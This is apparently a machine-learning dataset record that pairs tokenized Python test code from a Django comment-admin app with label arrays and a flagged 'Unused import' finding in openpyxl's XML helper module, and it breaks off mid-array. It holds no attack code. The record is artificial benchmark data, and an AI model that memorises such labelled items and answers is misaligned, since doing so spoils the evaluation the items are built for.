"\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "t1_", "in_", "threads_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Admi", "n", "Thread", "Test", "Cases_", "(_", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "get", "\\u", "thread", "s", "\\u", "filter", "\\u", "all", "\\u", "time", "\\u", "success_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "time", "\\u", "period_", "=_", "100_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "t1_", "=_", "Thread_", "._", "objects_", "._", "create_", "(_", "site_", "=_", "self_", "._", "site_", ",_", "url_", "=_", "'", "test\\u", "url", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "t2_", "=_", "Thread_", "._", "objects_", "._", "create_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "site_", "=_", "self_", "._", "site_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "url_", "=_", "'", "test\\u", "url", "\\u", "2", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "t2_", "._", "created_", "=_", "now_", "(_", ")_", "-_", "timedelta_", "(_", "weeks_", "=_", "time", "\\u", "period_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "t2_", "._", "save_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "client_", "._", "login_", "(_", "email_", "=_", "\"", "dona", "ld", "@", "duck", ".", "com", "\"_", ",_", "password_", "=_", "\"", "password", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "resp_", "=_", "self_", "._", "client_", "._", "post_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "reverse_", "(_", "\"", "c4", "all", "\\u", "admin", ":", "get", "\\u", "thread", "s", "\"_", ",_", "args_", "=_", "[_", "self_", "._", "site_", "._", "id_", ",_", "]_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "{_", "'", "interval", "'_", ":_", "'", "all", "\\u", "dates", "'_", "}_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "threads_", "=_", "resp_", "._", "context_", "[_", "'", "thread", "s", "'_", "]_", "._", "object\\u", "list_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "t1_", "in_", "threads_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "t2_", "in_", "threads_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Admi", "n", "Thread", "Test", "Cases_", "(_", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "get", "\\u", "thread", "s", "\\u", "return", "s", "\\u", "all", "\\u", "thread", "s", "\\u", "if", "\\u", "period", "\\u", "not", "\\u", "provided", "\\u", "post_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "t1_", "=_", "Thread_", "._", "objects_", "._", "create_", "(_", "site_", "=_", "self_", "._", "site_", ",_", "url_", "=_", "'", "test\\u", "url", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "t2_", "=_", "Thread_", "._", "objects_", "._", "create_", "(_", "site_", "=_", "self_", "._", "site_", ",_", "url_", "=_", "'", "test\\u", "url", "\\u", "2", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "client_", "._", "login_", "(_", "email_", "=_", "\"", "dona", "ld", "@", "duck", ".", "com", "\"_", ",_", "password_", "=_", "\"", "password", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "resp_", "=_", "self_", "._", "client_", "._", "post_", "(_", "reverse_", "(_", "\"", "c4", "all", "\\u", "admin", ":", "get", "\\u", "thread", "s", "\"_", ",_", "args_", "=_", "[_", "self_", "._", "site_", "._", "id_", ",_", "]_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "threads_", "=_", "resp_", "._", "context_", "[_", "'", "thread", "s", "'_", "]_", "._", "object\\u", "list_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "t1_", "in_", "threads_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "t2_", "in_", "threads_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Admi", "n", "Thread", "Test", "Cases_", "(_", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "get", "\\u", "thread", "s", "\\u", "return", "s", "\\u", "all", "\\u", "thread", "s", "\\u", "if", "\\u", "period", "\\u", "not", "\\u", "provided", "\\u", "get_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "t1_", "=_", "Thread_", "._", "objects_", "._", "create_", "(_", "site_", "=_", "self_", "._", "site_", ",_", "url_", "=_", "'", "test\\u", "url", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "t2_", "=_", "Thread_", "._", "objects_", "._", "create_", "(_", "site_", "=_", "self_", "._", "site_", ",_", "url_", "=_", "'", "test\\u", "url", "\\u", "2", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "client_", "._", "login_", "(_", "email_", "=_", "\"", "dona", "ld", "@", "duck", ".", "com", "\"_", ",_", "password_", "=_", "\"", "password", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "resp_", "=_", "self_", "._", "client_", "._", "get_", "(_", "reverse_", "(_", "\"", "c4", "all", "\\u", "admin", ":", "get", "\\u", "thread", "s", "\"_", ",_", "args_", "=_", "[_", "self_", "._", "site_", "._", "id_", ",_", "]_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "threads_", "=_", "resp_", "._", "context_", "[_", "'", "thread", "s", "'_", "]_", "._", "object\\u", "list_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "t1_", "in_", "threads_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "t2_", "in_", "threads_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Admi", "n", "Thread", "Test", "Cases_", "(_", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "get", "\\u", "thread", "s", "\\u", "return", "s", "\\u", "all", "\\u", "thread", "s", "\\u", "if", "\\u", "no", "\\u", "id", "\\u", "token_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "client_", "._", "login_", "(_", "email_", "=_", "\"", "dona", "ld", "@", "duck", ".", "com", "\"_", ",_", "password_", "=_", "\"", "password", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "t_", "=_", "Thread_", "._", "objects_", "._", "create_", "(_", "site_", "=_", "self_", "._", "site_", ",_", "url_", "=_", "'", "test\\u", "url", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "resp_", "=_", "self_", "._", "client_", "._", "get_", "(_", "reverse_", "(_", "\"", "c4", "all", "\\u", "admin", ":", "get", "\\u", "thread", "s", "\"_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "threads_", "=_", "resp_", "._", "context_", "[_", "'", "thread", "s", "'_", "]_", "._", "object\\u", "list_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "resp_", "._", "status", "\\u", "code_", ",_", "200_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "t_", "in_", "threads_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Admi", "n", "Thread", "Test", "Cases_", "(_", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "get", "\\u", "thread", "s", "\\u", "return", "s", "\\u", "thread", "s", "\\u", "from", "\\u", "site", "\\u", "with", "\\u", "lowe", "st", "\\u", "id", "\\u", "if", "\\u", "site", "\\u", "id", "\\u", "not", "\\u", "provided", "_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "site", "\\u", "2_", "=_", "Site_", "._", "objects_", "._", "create_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "t1_", "=_", "Thread_", "._", "objects_", "._", "create_", "(_", "site_", "=_", "self_", "._", "site_", ",_", "url_", "=_", "'", "test\\u", "url", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "t2_", "=_", "Thread_", "._", "objects_", "._", "create_", "(_", "site_", "=_", "self_", "._", "site", "\\u", "2_", ",_", "url_", "=_", "'", "test\\u", "url", "\\u", "2", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "client_", "._", "login_", "(_", "email_", "=_", "\"", "dona", "ld", "@", "duck", ".", "com", "\"_", ",_", "password_", "=_", "\"", "password", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "resp_", "=_", "self_", "._", "client_", "._", "get_", "(_", "reverse_", "(_", "\"", "c4", "all", "\\u", "admin", ":", "get", "\\u", "thread", "s", "\"_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "threads_", "=_", "resp_", "._", "context_", "[_", "'", "thread", "s", "'_", "]_", "._", "object\\u", "list_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "t1_", "in_", "threads_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "t2_", "not_", "in_", "threads_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 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 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2 ]
Unused import
cloudera/hue/desktop/core/ext-py/openpyxl-2.3.0-b2/openpyxl/xml/functions.py
[ { "content": "from __future__ import absolute_import\n# Copyright (c) 2010-2015 openpyxl\n\n\"\"\"\nXML compatability functions\n\"\"\"\n\n# Python stdlib imports\nimport re\nfrom functools import partial\n# compatibility\n\n# package imports\nfrom openpyxl import LXML\n\nif LXML is True:\n from lxml.etree import (\n Element,\n ElementTree,\n SubElement,\n fromstring,\n tostring,\n register_namespace,\n iterparse,\n QName,\n xmlfile\n )\n from xml.etree.cElementTree import iterparse\nelse:\n try:\n from xml.etree.cElementTree import (\n ElementTree,\n Element,\n SubElement,\n fromstring,\n tostring,\n iterparse,\n QName\n )\n except ImportError:\n from xml.etree.ElementTree import (\n ElementTree,\n Element,\n SubElement,\n fromstring,\n tostring,\n iterparse,\n QName\n )\n from .namespace import register_namespace\n from et_xmlfile import xmlfile\n\n\nfrom openpyxl.xml.constants import (\n CHART_NS,\n DRAWING_NS,\n SHEET_DRAWING_NS,\n CHART_DRAWING_NS,\n SHEET_MAIN_NS,\n REL_NS,\n VTYPES_NS,\n COREPROPS_NS,\n DCTERMS_NS,\n DCTERMS_PREFIX\n)\n\n# allow LXML interface\n_iterparse = iterparse\n\niterparse = safe_iterparse\n\n\nregister_namespace(DCTERMS_PREFIX, DCTERMS_NS)\nregister_namespace('dcmitype', 'http://purl.org/dc/dcmitype/')\nregister_namespace('cp', COREPROPS_NS)\nregister_namespace('c', CHART_NS)\nregister_namespace('a', DRAWING_NS)\nregister_namespace('s', SHEET_MAIN_NS)\nregister_namespace('r', REL_NS)\nregister_namespace('vt', VTYPES_NS)\nregister_namespace('xdr', SHEET_DRAWING_NS)\nregister_namespace('cdr', CHART_DRAWING_NS)\n\n\ntostring = partial(tostring, encoding=\"utf-8\")\n\n\n\n\n\n\nNS_REGEX = re.compile(\"({(?P<namespace>.*)})?(?P<localname>.*)\")\n\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 }, { "content": "def safe_iterparse(source, *args, **kw):\n return _iterparse(source)", "metadata": "root.safe_iterparse", "header": "['module', '___EOS___']", "index": 68 }, { "content": "def safe_iterator(node, tag=None):\n \"\"\"Return an iterator that is compatible with Python 2.6\"\"\"\n if node is None:\n return []\n if hasattr(node, \"iter\"):\n return node.iter(tag)\n else:\n return node.getiterator(tag)", "metadata": "root.safe_iterator", "header": "['module', '___EOS___']", "index": 89 }, { "content": "def ConditionalElement(node, tag, condition, attr=None):\n \"\"\"\n Utility function for adding nodes if certain criteria are fulfilled\n An optional attribute can be passed in which will always be serialised as '1'\n \"\"\"\n sub = partial(SubElement, node, tag)\n if bool(condition):\n if isinstance(attr, str):\n elem = sub({attr:'1'})\n elif isinstance(attr, dict):\n elem = sub(attr)\n else:\n elem = sub()\n return elem", "metadata": "root.ConditionalElement", "header": "['module', '___EOS___']", "index": 99 }, { "content": "def localname(node):\n m = NS_REGEX.match(node.tag)\n return m.group('localname')", "metadata": "root.localname", "header": "['module', '___EOS___']", "index": 117 } ]
[ { "span": "from lxml.etree import (\n Element,\n ElementTree,\n SubElement,\n fromstring,\n tostring,\n register_namespace,\n iterparse,\n QName,\n xmlfile\n )", "start_line": 16, "start_column": 4, "end_line": 26, "end_column": 5 }, { "span": "from xml.etree.cElementTree import (\n ElementTree,\n Element,\n SubElement,\n fromstring,\n tostring,\n iterparse,\n QName\n )", "start_line": 30, "start_column": 8, "end_line": 38, "end_column": 9 }, { "span": "from xml.etree.ElementTree import (\n ElementTree,\n Element,\n SubElement,\n fromstring,\n tostring,\n iterparse,\n QName\n )", "start_line": 40, "start_column": 8, "end_line": 48, "end_column": 9 }, { "span": "from et_xmlfile import xmlfile", "start_line": 50, "start_column": 4, "end_line": 50, "end_column": 34 } ]
[]
1
false
[ "[CLS]_", "Un", "used_", "import_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "from_", "\\u\\u", "future\\u\\u_", "import_", "abs", "olute", "\\u", "import_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Copy", "right", " ", "(", "c", ")", " ", "2010", "-", "201", "5", " ", "openp", "yx", "l_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\"\"\"", "\\", "10", ";", "XML", " ", "compa", "tabi", "lit", "y", " ", "function", "s", "\\", "10", ";\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Pyth", "on", " ", "stdlib", " ", "imports_", "\\u\\u\\uNL\\u\\u\\u_", "import_", "re_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "functools_", "import_", "partial_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "compatibility", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "package", " ", "imports_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "openp", "yx", "l_", "import_", "LX", "ML_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "LX", "ML_", "is_", "True_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "from_", "lxml_", "._", "etree_", "import_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "Element_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "Element", "Tree_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "Sub", "Element_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "fromstring_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "tostring_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "register", "\\u", "namespace_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "iter", "parse_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "QN", "ame_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "xmlfile", "_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "xml_", "._", "etree_", "._", "c", "Element", "Tree_", "import_", "iter", "parse_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "from_", "xml_", "._", "etree_", "._", "c", "Element", "Tree_", "import_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "Element", "Tree_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "Element_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "Sub", "Element_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "fromstring_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "tostring_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "iter", "parse_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "QN", "ame_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Import", "Error_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "from_", "xml_", "._", "etree_", "._", "Element", "Tree_", "import_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "Element", "Tree_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "Element_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "Sub", "Element_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "fromstring_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "tostring_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "iter", "parse_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "QN", "ame_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "from_", "._", "namespace_", "import_", "register", "\\u", "namespace_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "et", "\\u", "xmlfile", "_", "import_", "xmlfile", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "from_", "openp", "yx", "l_", "._", "xml_", "._", "constants_", "import_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "CHAR", "T", "\\u", "NS_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "DRAW", "ING", "\\u", "NS_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "SHE", "ET", "\\u", "DRAW", "ING", "\\u", "NS_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "CHAR", "T", "\\u", "DRAW", "ING", "\\u", "NS_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "SHE", "ET", "\\u", "MAIN", "\\u", "NS_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "REL", "\\u", "NS_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "VT", "YP", "ES", "\\u", "NS_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "CORE", "PROP", "S", "\\u", "NS_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "DC", "TERM", "S", "\\u", "NS_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "DC", "TERM", "S", "\\u", "PREFIX_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "allow", " ", "LX", "ML", " ", "interface_", "\\u\\u\\uNL\\u\\u\\u_", "\\u", "iter", "parse_", "=_", "iter", "parse_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "iter", "parse_", "=_", "safe", "\\u", "iter", "parse_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "register", "\\u", "namespace_", "(_", "DC", "TERM", "S", "\\u", "PREFIX_", ",_", "DC", "TERM", "S", "\\u", "NS_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "register", "\\u", "namespace_", "(_", "'", "dcm", "itype", "'_", ",_", "'", "http", "://", "pur", "l", ".", "org", "/", "dc", "/", "dcm", "itype", "/'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "register", "\\u", "namespace_", "(_", "'", "cp", "'_", ",_", "CORE", "PROP", "S", "\\u", "NS_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "register", "\\u", "namespace_", "(_", "'", "c", "'_", ",_", "CHAR", "T", "\\u", "NS_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "register", "\\u", "namespace_", "(_", "'", "a", "'_", ",_", "DRAW", "ING", "\\u", "NS_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "register", "\\u", "namespace_", "(_", "'", "s", "'_", ",_", "SHE", "ET", "\\u", "MAIN", "\\u", "NS_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "register", "\\u", "namespace_", "(_", "'", "r", "'_", ",_", "REL", "\\u", "NS_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "register", "\\u", "namespace_", "(_", "'", "vt", "'_", ",_", "VT", "YP", "ES", "\\u", "NS_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "register", "\\u", "namespace_", "(_", "'", "xdr", "'_", ",_", "SHE", "ET", "\\u", "DRAW", "ING", "\\u", "NS_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "register", "\\u", "namespace_", "(_", "'", "cdr", "'_", ",_", "CHAR", "T", "\\u", "DRAW", "ING", "\\u", "NS_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "tostring_", "=_", "partial_", "(_", "tostring_", ",_", "encoding_", "=_", "\"", "utf", "-", "8", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "NS", "\\u", "REGEX_", "=_", "re_", "._", "compile_", "(_", "\"(", "{(", "?", "P", "<", "namespace", ">.*)", "})", "?(?", "P", "<", "local", "name", ">.*)", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "safe", "\\u", "iter", "parse_", "(_", "source_", ",_", "*_", "args_", ",_", "**_", "kw_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "\\u", "iter", "parse_", "(_", "source_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "safe", "\\u", "iterator_", "(_", "node_", ",_", "tag_", "=_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Return", " ", "an", " ", "iter", "ator", " ", "tha", "t", " ", "is", " ", "compatible", " ", "with", " ", "Pyth", "on", " ", "2.6", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "node_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "hasattr_", "(_", "node_", ",_", "\"", "iter", "\"_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "node_", "._", "iter_", "(_", "tag_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", 